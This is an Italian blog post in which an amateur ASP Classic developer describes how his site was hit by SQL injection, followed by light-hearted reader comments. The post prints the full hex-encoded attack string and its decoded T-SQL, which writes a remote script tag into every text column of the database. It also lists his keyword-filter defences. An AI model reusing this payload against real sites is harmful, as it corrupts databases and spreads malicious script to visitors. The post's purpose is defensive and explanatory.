giovedì 6 agosto 2009

Impedire un attacco "SQL injection" con ASP Classico

Ci sono cascato come una pera cotta. Essendo un programmatore della domenica, sono stato massacrato da un simpatico attacco Sql Injection sul sito che avevo messo in produzione la settimana prima. Che cosa è un Sql Injection?

In pratica trattasi di codice malizioso inserito con grande fantasia nel querystring chiamante (o nei cookies, o in una chiamata form) una determinata pagina di un sito. Che requisiti deve avere la pagina affinchè lo script abbia la possibilità di funzionare? Analizziamo la casistica querystring (le altre casistiche sono analoghe).

- la pagina deve avere un parametro passato via qs. Ad esempio: mypage.asp?id=123123.
- il programmatore che l'ha sviluppata deve essere un novellino
- colui che lancia l'attacco deve essere un discreto stronzone

In pratica inserendo la porzione di codice in coda alla chiamata della pagina (mypage.asp?id=123123;[script malizioso]) se il programmatore della domenica è un novellino e NON effettua il parsing dei parametri ma, al contrario e per pigrizia, si limita a utilizzarli direttamente nelle chiamate DB tale script finirà inevitabilmente dentro la query passata al db. Se esso è scritto bene (o, meglio, scritto da stronzi veri) si potranno fare inimmaginabili danni al db stesso.

Esempio chiarificatore:

Lo script (apposto come querystring) è qualcosa del genere:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)

Se esso viene eseguito all'interno di una chiamata DB in virtù dell'insipienza del programmatore che NON parsa i parametri, decodificando il comando CAST lo script eseguirà il seguente codice nel vostro DB:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[script src="http://blablabla/0.js"][/script]

''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@C


Come ben potete immaginare (per chi ha familiarità con SQL) esso andrà a scrivere la stringa '[script src="http://blablabla/0.js"][/script]'* all'interno dei campi testuale di tutte le tabelle del vostro db. In sè la stringa è inerte, di fatto vi polverizza il db perchè ogni valore diventerà più o meno inutilizzabile.

Ripristinato l'ultimo backup del DB e colmata la mia lacuna sugli attacchi Sql Injection ho adeguato il sito come segue:

- ho bannato dal mio webserver la famigerata sottorete da cui proveniva la chiamata (corrispondente al provider CHINANET della regione Chongqing, noto covo di proxy)
- ho introdotto in testa a tutte le pagine un filtro a tutte le chiamate querystring, cookie, form che altro non fa che individuare eventuali stringhe sintomo di potenziale attacco (DECLARE, EXEC, CAST) e ridirigendo il simpatico utente a una pagina dummy piuttosto incazzosa nel contenuto
- ho adeguato tutte le chiamate, facendo il parsing di ogni parametro che utilizzo (e, nella fattispecie, utilizzando solo parametri numerici imponendo la conversione a numero di qualunque parametro querystring, cookie, form e invalidando così qualunque testo che non sia un numero)
- ho introdotto un layer nel mio framework di chiamate a database che inibisce qualunque comando DECLARE e EXEC

In attesa che i più sprovveduti, come il sottoscritto, adeguino le proprie pagine (a volte può essere fastidioso perchè se avete centinaia di pagine con centinaia di chiamate che utilizzano centinaia di parametri non filtrati avrete un bel lavoro da compiere), vi lascio col link ad uno script intelligente (per utente IIS, asp) che, chiamato in testa ad ogni pagina, vi concederà il tempo per adeguare come si deve le vostre pagine:

http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

30 commenti:

  1. Hacker diabolici! In realtà anch'io sto sviluppando roba web che prima o poi andrà in pubblico e sono problemi che non abbiamo ancora considerato. Secondo te questi siti di piratoni fanno degli scan automatici o il tutto è dovuto alla popolarità del tuo sito?

    RispondiElimina
  2. Non ne ho idea. Io credo che nel mio caso sia stato un processo altamente manuale, perchè preceduto da vari tentativi su pagine diverse con script leggermente diversi (per esempio perceduto o meno da ' dopo il parametro originario, così da scoprire se esso era utilizzato o meno come stringa e adattare lo script per funzionare). Quindi nel mio caso trattasi di "sabotaggio" dovuto a ,non dico popolarità, ma quanto meno a "pestaggio di piedi" a qualche concorrente.

    Credo inoltre che non ci sia uno scan sistematico, sarebbe veramente troppo complesso da sviluppare e non credo che solo per volontà distruttiva qualcuno metta in piedi un crawler per individuare i siti farlocchi ;)

    RispondiElimina
  3. Caspita.... certo che è un bel problema... dovrò anch'io stare attento ai siti che programmo...

    RispondiElimina
  4. Mi raccomando, seriruccio! E se proprio ti rompono i coglioni, non esitare a dirmelo che provvederò a tirare la coda all'hacker di turno(mentre premo con una penna alla base del suo cranio).

    RispondiElimina
  5. Considerando che l'unico programma che "programmai" fu al liceo in pascal (scientifico sperimentale, mica pizza e fichi) e che serviva per fare la media o roba del genere, credo che dovrò stare molto attento che non me lo piratino... Ma la tua penna alla base del cranio sarà un buon deterrente!

    RispondiElimina
  6. Ignoro la possibilita` di attacchi a largo raggio, ma secondo me scriptando qualcosa on top a questo aggeggio (http://www.cs.washington.edu/homes/mernst/pubs/create-attacks-icse2009.pdf) si riesce ad automatizzare parecchio la faccenda... (vedi anche qui http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=218100143 se non hai voglia di leggere tutto il paper...)

    RispondiElimina
  7. Ugh! Lo hacker che bontà, Lo hacker che bontà!

    RispondiElimina
  8. Ma non doveva essere il tuo blog serio, questo? ;)

    RispondiElimina
  9. Mi permetto di dire: evitare SQL come la peste :) Meglio usare un qualche framework/libreria che ragioni a livello piu' alto! (e nel frattempo ripari il programmatore da questi problemi)

    RispondiElimina
  10. Joril, effettivamente SQL fa rabbrividire da diversi punti di vista ma... ora vogliamo esempi concreti: quale "framework/libreria che ragioni a livello più alto" mi suggerisci che non sia Oracle (budget, completa novellinaggine del sottoscritto, i consulenti Oracle costano un occhio) e che mi sopporti un db relazionale con 3 milioni di record nella tabella principale (e un tasso di crescita di 10.000 al giorno) e uno stress medio di circa 500 query concorrenti al secondo quando c'è poco traffico? :)

    RispondiElimina
  11. Ovviamente 'sopporti' era 'supporti', ma ha senso anche così :P

    RispondiElimina
  12. Si' ha senso lo stesso :) Cmq in Python io uso SQLAlchemy (www.sqlalchemy.org), ma non saprei cosa ci sia per ASP.. Pero' si puo' chiedere su stackoverflow.com :)
    (evviva il feed dei commenti! A quando Gravatar?)

    RispondiElimina
  13. Ho trovato in giro dei "gadgets" customizzati per i "last commenti" in blogger, ma comunque niente di eccezionale. Ho inoltre scoperto che il precedente da me utilizzato era un gadget non nativo ma fatto da qualche utente (scarso) e pubblicato nel circuito blogger. Mmmh. Idea: sto studiando Gadgets for Blogger (Blogger's API) e mi farò il mio gadget (stile wordpress e con gravatar) per gli ultimi commenti (e poi lo pubblico pure).

    Interessante SQl Alchemy. Il mio problema è che in effetti io ho scritto di mio pugno tanti anni fa un "framework" per parlare con qualunque database e che ragiona a livello più alto. Lo uso da anni per tutte le applicazioni asp che ho realizzato e ha sempre funzionato alla grande; ne feci addirittura un porting in PHP: funzionava egregiamente su una macchina Windows con Apache e PHP montati e dialoganti con macchina Linux e MySql. Ma, essendo un novellino, non aveva alcuna contromisura contro un semplicissimo SQL Injection (ma ora ce l'ha!!)

    RispondiElimina
  14. Ora i commenti infatti sono a db e permettono scambi di idee più rapidi ed efficienti. Bravo, Kote, sette più.

    Di layer tra il db e l'applicazione ce ne sono a iosa, e svilupparne uno in realtà è anche piuttosto semplice. Il vantaggio di usarne uno già fatto e che badi alla sicurezza (quale? chiedi a stackoverflow! :P) è che affidi a qualcun altro l'aggiornamento sulle difese dei possibili attacchi: quello che hai fatto tu è di gestire gli attacchi più comuni, ma i diabolici cracker ne sanno una più del diavolo, e suppongo che periodicamente vengano fuori delle varianti agli attacchi da tenere in conto.

    RispondiElimina
  15. Lo so lo so tutto vero, ma l'idea di fare a manina e in solitudine un adeguamento su migliaia di pagine mi sconcerta: sarà senz'altro una cosa che il futuro IT manager della mia società si dovrà preoccupare di fare con una certa celerità :)

    RispondiElimina
  16. Luca vuoi fare l'IT manager della mia società?

    RispondiElimina
  17. E il CSO? Chi lo fa? CHi si preoccupa di frustare l'IT manager e pretendere un report su tutte le procedure di security in place e tutti gli attacchi ricevuti/tentati/riuscit/falliti? :)

    (ottima la gestione dei commenti, finalmente... Se ora riesci anche a fare un widget/gadget/cazzillet che fa ragionare umanamente anche i feed ti meriti un bell'8 pieno!!) E mi garba un sacco di piu` anche il nuovo tmeplate!

    RispondiElimina
  18. Sto studiando alacremente le care vecchie Gadgets API: un lavoraccio, direi. Ma ne verrò a capo, senz'altro :)

    Botty vuoi fare il CSO?

    RispondiElimina
  19. Ok! Sono assunto! (ops... questo forse lo dovevi dire tu... Vabbe, ormai... ^_^)

    LUUUUuuuCAAAAAAAaaaaaAAAAAAhhhhHHH!! Dove sono quei rapporti sugli attacchi SQL injection che ti avevo chiesto?!?! E il manuale con le procedure? E il manuale operativo? E chi dei tuoi si occupa dell eimplementazioni?!?! Tra 5 minuti nel mio ufficio! VELOCE!

    RispondiElimina
  20. Imbecille, è già tutto sul server della documentazione dall'altroieri.

    RispondiElimina
  21. Non litigate, su da bravi! Siete miei dipendenti e voglio che regni l'armonia nella mia azienda! Portatevi un cane al lavoro, se vi occorre della pet-terapy, ma niente risse!

    RispondiElimina
  22. Non ho tempo per andare a cercarmi la documentazione su uno stupidissimo server! Organizziamo una riunione per parlarne! (Ehi, dove ho gia` sentito questa?) :D

    Posso avere un gatto invece del cane?

    RispondiElimina
  23. Sì! Puoi averlo!

    (eheheh possibile che con voi ogni cosa svacchi? questo era un blog serio!)

    RispondiElimina
  24. Ti faccio notare che prima che arrivasse Botty stavamo discutendo seriamente di layer di sicurezza. E' lui l'elemento entropizzante!

    RispondiElimina
  25. Diamine! Io ho postato anche un preziosissimo link a articoli di pregio!

    Ok, poi abbiamo svaccato. Per recuperare riposto un altro link, fresco di feed... Il db admin e` sempre piu` fondamendale nella enterprise security... http://www.darkreading.com/database_security/security/app-security/showArticle.jhtml?articleID=219100349&cid=RSSfeed

    RispondiElimina
  26. Tutto vero, Botty. Non ti si può addossare la colpa dello svacco (almeno non integralmente).

    Il link che hai postato, però, ancorché interessante, sembra più per la coda di paglia che per altro :P

    RispondiElimina
  27. ...ehm...

    (il secondo si`, ammetto! ;-) Il primo, anzi i primi, pero`, potrebbero interessarti davvero...)

    RispondiElimina